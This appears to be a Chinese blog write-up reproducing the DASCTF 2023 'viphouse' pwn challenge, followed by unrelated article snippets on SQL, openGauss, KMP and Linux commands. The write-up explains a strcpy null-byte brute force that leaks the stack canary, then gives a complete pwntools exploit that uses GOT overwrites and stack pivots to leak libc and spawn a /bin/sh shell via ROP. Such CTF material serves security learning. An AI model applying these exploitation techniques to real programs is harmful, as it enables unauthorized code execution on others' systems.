[DASCTF 2023 0X401七月暑期挑战赛] viphouse复现

news/2025/1/18 11:48:38/

这个题想了好久,无果,终于看到WP。照着作了一遍。WP里没有详细解释,所以复现得很辛苦。

程序有5个菜单和1个初始化程序:

  1. init 先从os.random读8个字节放到src处
  2. login 读入用户名密码,其中密码栈里设的0x40可以读入0x68 可以溢出到 canary + rbp  外加3个字。但这里需要有canary才行
  3. UAF有两个菜单一个是建块写入数据一个是删块,由于初始变量为0,退出后再入可以多次建块,但无法多次删,所以这里没有UAF
  4. canary可以给出canary但需要先猜对src存的随机数。
  5. logout置个状态没啥特殊的

一直找不到漏洞点。看WP才恍然大悟。在4这人位置先将src读入到s然后再比较。如果src的第1个字节是0,那么它只复制1个\0后边被初始化的都是0,所以输入8个0就能通过。这里爆破成功率1/256。

 得到canary后可以调用login,通过pass这里的溢出来获取libc和shell,不过负载只有3个字太小了,而且这题只有一个pop rbp 其它都不用pop操作。所以要分几步。

  1. 修改printf为puts

     

    1. 先通过溢出移栈到ptr+0x2a0,执行login(去掉sub rsp部分) 
    2. 这时候写name的时候会写到ptr上,然后调用add_note向ptr写8字节,也就是向got表写,将printf的got指向plt.puts

同上修改__stack_chk_fail的got表为pop rbp;ret 使其不退出,并用pop rbp平衡(进函数时会push rsp,返回时pop rbp 恢复rbp的值为rsp,消除错位rbp的影响)

再执行时name这里可以写ROP了,这里用到gift里一部分

 从这里(0x4015d0)调整rbp,即可通过printf打印出libc值。

然后再一次移栈,输入system(bin/sh)

from pwn import *context(arch='amd64', log_level = 'debug')elf = ELF('./viphouse')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')#1/256 key = \0XXXXXXX   strcpy -> \0\0\0\0\0\0\0\0
while True:p = process('./viphouse')#gdb.attach(p,'b*0x40150e\nc')#loginp.sendlineafter(b"Choose an option: ", b'1')p.sendlineafter(b"Please enter your username: ", b"admin\x00")p.sendlineafter(b"Please enter your password: ", b"root\x00")p.sendlineafter(b"Choose an option: ", b'4')p.sendlineafter(b"Please input the number you guess: \n", b'\x00'*8)if b'gift' in p.recv(0x15):break else:p.close()canary = int(p.recvline(), 16)
print(f"{canary = :x}")#gdb.attach(p, 'b*0x401ac3\nc')bss = 0x404f00
ptr = 0x404128
pop_rbp = 0x40139d
leave_ret = 0x40147b
rsp_offset = 0x2a0
login_no_sub_rsp = 0x401991
p.sendlineafter(b"Choose an option: ", b'5')
p.sendlineafter(b"Choose an option: ", b'1')
p.sendlineafter(b"Please enter your username: ", b"admin\x00")
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset, login_no_sub_rsp))p.sendlineafter(b"Please enter your username: ", p64(elf.got['printf']))   #ptr=got.printf
p.sendafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset+0x10, 0x4017f2, bss, login_no_sub_rsp)) #got.printf->plt.puts
p.send(p64(elf.plt['puts']))p.sendlineafter(b"Please enter your username: ", b"admin\x00")
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset, login_no_sub_rsp))p.sendlineafter(b"Please enter your username: ", p64(elf.got['__stack_chk_fail']))   #ptr=got.stack_chk_fail
p.sendafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset+0x10, 0x4017f2, bss, login_no_sub_rsp)) #read got.__stack_chk_fail = pop_rbp;ret
p.send(p64(pop_rbp))p.sendlineafter(b"Please enter your username: ", flat(elf.got['srand']+0xe, 0x4015d0, elf.sym['login']))   #gift.printf(rbp+format:0xe)
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, 0x404c60, leave_ret)) p.recvline()
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['srand']
pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
ret = pop_rdi+1print(f"{libc.address = :x}")p.sendlineafter(b"Please enter your username: ", flat(0, ret, pop_rdi, bin_sh, system)) 
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, 0x4049d0, leave_ret)) p.interactive()


http://www.ppmy.cn/news/982669.html

相关文章

SQL基础培训24-存储过程详解

1.存储过程的概念与语法 1.1.概念 存储过程(Stored Procedure):已预编译为一个可执行过程的一个或多个SQL语句的集合。 1.2.语法 创建测试表: create table student <

opengauss数据库快速安装

root执行 groupadd gs useradd -g gs gs passwd gs mkdir -p /opt/software/openGauss sudo chown gs:gs /opt/software/openGauss chmod 700 /opt/software/openGauss gs执行 上传文件到/home/gs目录下 tar -jxf openGauss-x.x.x-openEuler-64bit.tar.bz2 -C /opt/software/o…

虹科新闻 | 虹科与Berghof正式建立合作伙伴关系

近日&#xff0c;虹科与德国Berghof公司达成战略合作&#xff0c;虹科正式成为Berghof Automation在大中华区的认证授权代理商。未来&#xff0c;虹科将携手Berghof一同为机器制造商、系统集成商和工业设备制造商提供先进的解决方案&#xff0c;从而在最小的空间内实现最高的性…

[SQL挖掘机] - 转换机制

一种较为有用的数据转换机制是在查询中修改列的数据类型. 通常, 当处理不同数据类型(如数字)的列时, 可使用仅对一种数据类型(如文本)有效的函数. 当修改某一列的数据类型时, 可简单地采用 column::datatype 格式. 其中, column表示为列名, datatype 表示为将列调整后的数据类型…

字符串 (2)--- 前缀函数与 KMP 算法

/* https://www.luogu.com.cn/problem/UVA455 最小周期&#xff1a; n - pi[n -1] */ #include <iostream> #include <string> #include <vector> using namespace std; vector<int> prefix_fun(string s) { int len s.length(); /…

[Java] 单例设计模式详解

模式定义&#xff1a;保证一个类只有一个实例&#xff0c;并且提供一个全局访问点&#xff0c;时一种创建型模式 使用场景&#xff1a;重量级的对象&#xff0c;不需要多个实例&#xff0c;如线程池&#xff0c;数据库连接池 单例设计模式的实现 1.懒汉模式&#xff1a;延迟…

全志F1C200S嵌入式驱动开发(调整cpu频率和dram频率)

【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing @163.com】 f1c200s默认的cpu频率是408M,默认的dram频率是156M。这两个数值,坦白说,都算不上特别高的频率。因为我们的晶振是24M输入,所以408/24=17,相当于整个cpu的频率只是晶振倍频了17…

Linux操作系统~必考面试题⑧

1、pwd 命令 pwd 命令用于查看当前工作目录路径。 实例&#xff1a; 查看当前路径 pwd 查看软链接的实际路径 pwd -P 2、rmdir 命令 从一个目录中删除一个或多个子目录项&#xff0c;删除某目录时也必须具有对其父目录的写权限。 注意&#xff1a;不能删除非空目录实例&…